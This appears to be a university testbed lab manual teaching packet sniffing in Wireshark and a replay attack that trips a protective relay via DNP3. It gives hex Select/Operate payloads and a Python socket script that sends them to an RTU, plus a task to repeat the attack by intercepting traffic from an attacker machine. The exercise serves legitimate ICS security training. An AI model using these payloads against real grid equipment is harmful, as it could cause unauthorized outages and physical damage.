# Preliminary steps before starting the experiment:

1) Click the Launch button to start the experiment.

POWER CYBER LABS	ABOUT TESTBED EXPERIMENTS PUBLICATIONS DOWNLOADS THE TEAM
Cyber Storyboards	ICS Storyboards
C1: Network Discovery with Port Scanning	ICS1: Attack and defense on a Remedial Action Scheme (automated)
The attack. The attacker performs a stealthy attack where he exploits his knowledge about the measurement configurations at multiple substations to carefully select the locations where he would manipulate the	ICS2: Attack and defense on a Remedial Action Scheme (interactive)
measurements.	ICS3: Attack and Defense on Model-based AGC (automated)
The attack vector involves the classic Man-in-the-Middle attack, where the attacker tricks the RTU to its data to the attacker machine instead of the substation gateway using an ARP poisoning attack. By decoding the unencrypted network traffic, the attacker selects and modifies	ICS4: Attack and Defense on Model-based AGC (interactive)
appropriately certain targeted measurements to avoid detection by the State Estimator Bad Data Detectors.	ICS5: Ukraine Style Attack and Defense Experiment
LAUNCH MANUAL	ICS6: Settings Manipulation (upcoming)
C2: Vulnerability Assessment with OpenVAS	ICS7: State Estimation (upcoming)
C3: Wireshark, Scripting and Replay Attack	
C4: Pfsense Firewall Configuration	
C5: DoS Attack (upcoming)	

2) Click OK to create a new session

## Attacker

Thinfinity Screen Sharing	

3) Click the Screen Sharing option and click connect to establish the session

Attacker

<b>C</b> Thinfinit Remot	.V° Je Desk worksta	top			
Aut	tomatic	Remote desktop	Screen sharing	File transfer	
Connect	t automatically and a new browser wi	bypass this page	٩	, Config → Connect	

4) Click the **VNC viewer** button on the taskbar of the Windows 7 host that opens soon after and enter **10.1.200.44** as the ip address of the VNC server. Click connect to establish the session

Attacker

	· · · ·				
Recycle Bin				N	
Google					
Chrome	V2 VNC Viewer				
	VNC® Viewer	VS			
	VNC Server: 10.1.200.44	•			
	Encryption: Let VNC Server choose	<b></b>			
	About Options	Connect			
	and the second second				
T					
1					
1 and the second		Solve 4 total	PC issues: 3 impor messages	tant messages	
SV 🔤 🚱		3	- 😼 🔁 🏎	4:13 PM 5/3/2017	

5) Click Continue to connect to the kali box.



6) Gently hover over the center of the VNC viewer window to find the menu with options. Click the **Full Screen View** button (fifth from the left) for a better experience.

POWER CYBER LABS			EXPERIMENTS & TRAINING	PUBLICATIONS	DOWNLOADS	CONTACT	THE TEAM
POWER CYBER LABS	V2 root@green Applications File Edit oth0 oth1 oth1	Kali-VNC Viewer Places Click to voue your appointments and takks Click to voue your appointments and takks View Search Tarminal Help click to voue your appointments and takks View Search Tarminal Help click to voue your appointments and takks View Search Tarminal Help click to voue your appointments and takks View Search Tarminal Help click to voue your appointments and takks Na packets 127, 67, 83, 160 RK bytes: 110967166 (165, 8 HiB) TK bytes: 1733 Link encap: Ethernet Hwaddr 00:50:56:199:60:c4 Ant addr: 10, 1260 44 East: 100, 1250; 555 Messite 100 RK bytes: 110967166 (165, 8 HiB) TK bytes: 1733 Link encap: Ethernet Hwaddr 00:50:56:199:60:c4 Ant addr: 10, 1260 44 De B60ADCAS TRAWING MULTICAST HUISBOM het TK packets: 11947 errors: 0 dropped: 0 overruns: 0 cci Lisions: 0 ccaucular; 10, 10, 10, 10, 10, 10, 10, 10, 10, 10,	EXPERIMENTS & TRAINING	PUBLICATIONS	DOWNLOADS	CONTACT	ТНЕ ТЕАМ
	E [root@gr	een-kali: -) 🗵 root@green-kali: -		4:23 PM			

7) This is how a full screen Kali box looks like.



**Repeat steps 2 and 3** for the Control Center virtual machine and the Substation virtual machine respectively.

## Actual Experiment:

Wireshark & Scripting Module 3 (20-25 mins)

## **Learning Outcomes**

- Gain a basic understanding of how packet sniffing tools could be used to understand traffic patterns and data formats.
- Understand the basics of how captured traffic could be used to replay command packets to create unintended effects on protective relays.

### Packet sniffing in Wireshark

Wireshark is a versatile tool that enables the capture and analysis of network traffic packets. Wireshark also provides the features to decode and disassemble packets from several common protocols including common SCADA protocols such as DNP3, Modbus, IEC 61850, ICCP, etc.,

To sniff packets once inside Wireshark, you need to select a particular network interface and then clicking on start. Depending on the location of the machine from which Wireshark is started, the traffic that it can see varies. In our training environment, the attacker virtual machine, the control center scadas01 machine, and the substation-RTU virtual machine should have

Wireshark.

As an example, we have a stored packet capture (xxx\_trip\_capture.pcap) on each of the attacker virtual machines. This packet capture was obtained from the control network on one of the control center machines and contains the communication sequence between the control center and the RTU when it sends a trip command.

You could also view the network traffic live on one of the control center or the substation RTU virtual machines by starting Wireshark.

You should see a screen similar to this:

🖉 se	el_2_trip.pcap.pcapng [Wireshark 1.10.1	3 (v1.10.13-0-g3b7ff6	6 from master-1.10)]	
File	Edit View Go Capture Analyze Statistics	Telephony <u>T</u> ools Internals	Help	
0	🖲 🛋 🔳 🔏   🖻 🖿 🗙 🈂   🔍 🕯	🗢 🔹 🖓 🔁 🛙	] 🗐 🗨 Q Q 🖭   🎬 🛛 畅 %	
Filter:	:: tcp.port==20000	<b>~</b>	Expression Clear Apply Save Filter	
No.	Time Source	Destination	Protocol Length Info	~
	3 0.30718300104.190.100.1	10.1.0.210	DNP 3.( 72 from 0 to 1, Read,	Analog In
	4 0.3376890010.1.0.210	104.190.100.1	DNP 3.( 71 from 1 to 0, Respon	ise
	5 0.40115500 104.190.100.1	10.1.0.210	DNP 3.C 72 from 0 to 1, Read,	Binary In
	6 0.43732800 10.1.0.210	104.190.100.1	DNP 3.( 71 from 1 to 0, Respon	ise
	10 0.65061000 104.190.100.1	10.1.0.210	TCP 60 checkoutdb > dnp [A	.CK] Seq=3
	19 2.30695100 104.190.100.1	10.1.0.210	DNP 3.( 72 from 0 to 1, Read,	Binary In
	20 2.33965000 10.1.0.210	104.190.100.1	DNP 3.( 71 from 1 to 0, Respon	ise
	21 2.40044900 104.190.100.1	10.1.0.210	DNP 3.( 72 from 0 to 1, Read,	Analog In
	22 2.43827100 10.1.0.210	104.190.100.1	DNP 3.( 71 from 1 to 0, Respon	ise
	23 2.49330700 104.190.100.1	10.1.0.210	DNP 3.( 72 from 0 to 1, Read,	Class 0
	25 2.52124600 10.1.0.210	104.190.100.1	DNP 3.( 80 from 1 to 0, Respon	ise
	26 2.58690600 104.190.100.1	10.1.0.210	DNP 3.( 72 from 0 to 1, Read,	Binary In
	27 2.61889900 10.1.0.210	104.190.100.1	DNP 3.( 81 from 1 to 0, Respon	ise
	28 2.68169900 104.190.100.1	10.1.0.210	DNP 3.( 72 from 0 to 1, Read,	Analog In
	30 2.71268700 10.1.0.210	104.190.100.1	DNP 3.( 71 from 1 to 0, Respon	ise
	31 2.83762600 104.190.100.1	10.1.0.210	TCP 60 checkoutdb > dnp [A	«CK]Seq=1 🗸
<	20 4 20712400404 400 400 4	1 1 1 1 11	DUD 2 4 72 from 0 for 1 poord	>

We can see in the screenshot that Wireshark provides a high-level summary of the packets with their timestamps, sender, receiver, and other high-level information. Also, it provides filters to narrow down selected packets from the entire list of packets, such as those that have a specific protocol, e.g. DNP3.

### **DNP3** Trip Operation

We have captured the data that the control center sends to the substation RTU when it issues the trip command to a relay beforehand.

Using python, we can replay this data to the RTU to cause an unauthorized trip of the relay.

A DNP3 trip is typically comprised of two actions. First a "Select" and then an "Operate" command is sent to the RTU.

Given the current network settings, the **select** and **operate** command have the following TCP payloads (represented as hex strings).

## Select Payload

'\x05\x64\x1a\xc4\x02\x00\x00\x00\xeb\x42\xeb\xcd\x03\x0c\x01\x28\x01\x00\x03\x00\x 81\x01\x10\x27\x00\x00\x86\xa5\x00\x00\x00\x00\x00\x00\xff'

## **Operate Payload**

'\x05\x64\x1a\xc4\x02\x00\x00\x00\xeb\x42\xec\xce\x04\x0c\x01\x28\x01\x00\x03\x00\x 81\x01\x10\x27\x00\x00\xa3\x02\x00\x00\x00\x00\x00\x00\x0f\xff'

NOTE: This is just an example. The actual data differ depending on which device (relay) is being targeted and you need to pinpoint them first.

## **Python Trip Script**

This information can be loaded into the following python script.

```
import socket
size = 1024
select=str('INSERT SELECT STRING HERE')
operate=str('INSERT OPERATE STRING HERE')
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('INSERT IP ADDRESS HERE', 20000))
s.send(select)
data = s.recv(size)
s.send(operate)
```

data = s.recv(size) print 'Relay Tripped!' s.close()

Replace the string that says "IP ADDRESS HERE" with the public IP Address of your RTU. This will be "X.X.X.210" where "X.X.X" is your substation network.

### Tasks

Base on the brief introduction above, you are asked to

- 1. Launch a replay attack to trip the relay assigned to your network, given that you have access to the Control Center (CC) and RTU VM. To do this, you need
  - Go to the RTU VM and capture the DNP3 packets exchanged between your control center and RTU. Close and trip your relay for several times in order to capture the packets that really matter. (Please check the following section to learn about the control center and RTU VM. Ask me or anyone in the lab if you need more help regarding how to change the status of relay via EMS)
  - Determine the two magic packet segments from the packets you just sniff by playing with Wireshark's filter and packet decoder, and then insert them into the python template given previously.
  - Run the python script you have obtained on your Kali and see whether it trips the relay (It's a successfully malicious attack if it does its work ).
- 2. This task is a bonus for you. As we saw in task 1, the attacker is assumed to have the access to the RTU or CC to capture the DNP3 packets. What if you have to do the same thing without this assumption (this is often the case)? Please try to work only on your Kali to launch the same replay attack (The main hurdle is to find a way to enable your Kali to see the communication between CC and RTU. You can still close and trip the relay on the CC as a normal utility operator).

#### **Relevant knowledge on the Control Center and RTU VM**

SIEMENS Spectrum Power TG	Stations	F 🔽 🔚 🚟 🛗 🖂	i 🔺 🔊 🔀
Status Tabular for	👪 👬 🖄 🔚 🛃 📶	🔀 📬 😫 🚨 🚨 👪 👬	1/ 1
Sicam PAS Station 2			
VPoint name	V T Status Q	💙 Point name	V T Status Q
Relay1	Close f		
Relay2			
SEL421-1			
SEL421-2			

Fig. 1 What your CC looks like when you log in

SICAM PAS UI - Operation - User Logon Deactivated File View Extras Help						
準	Operation	Operation > SICAM PAS > scaws1 > IEC 61850 Client > Interface > SEL				
Operation	🖃 🚞 SICAM PAS	▼ Status				
scaws1     DNP 3.0 Slave     DInterface     Dontrol Center     DIC 61850 Client     DInterface     DIC 61850 Client     DInterface     D	Scaws1     DNP 3.0 Slave     DNP 3.0 Slave     Dreface     DEC 61850 Client     DIEC 61850 Client     DIetrace     Relay 1	Current state Running				
	Relay 2     SEL 151     SEL 153	Bay block     Image: ON     Image: OFF       Telecontrol block     Image: ON     Image: OFF				

Fig. 2 What your RTU looks like when you log in

Fig. 1 and 2 shows the human interfaces in CC and RTU VMs. In CC, the relay that does not have "f" status (which means failure mode) is under your control so that in Fig. 1, Relay2 and SEL421-2 are the two can be controlled. Click on the status "close", it will pop up a session for you to select "trip" and vice versa. The CC and RTU should be similar to above figures, if not, they are not talking properly especially when you see the first 4 green circles from above in Fig.2 are red.

During the training, we would be sharing the physical relays among multiple teams, which means when the topology is tuned for you, you are only able to see one relay (which is not "f" in the CC and which has a green circle in front in the RTU).

### **Time Multiplexing of the relays**

Since we only have 4 relays, you need to split into two groups and each group will be given the access to relays during a different time slot. (I will leave it to Dr. Manimaran and yourselves to

determine and will make the EMS in the proper mode every time.)

#### Delivery

Please submit a copy of the pcap and the python script/scripts you have.

I think it's necessary to have several rules when we doing the lab:

- Please do not login to others' VMs.
- These teams are not allowed for personal usage except for doing the four labs, so do not watch any irrelevant videos inside.
- Each VM should be kept as public, especially so for admins. So please do not set your own pwd. If you are afraid that anyone would see the results you have collected, just back up and remove original copies.
- It is recommended to get rid of any fingerprints (such as browsing history, scripts created, and firewall rules configured.) you have left on those VMs when the labs are done, especially after the last one.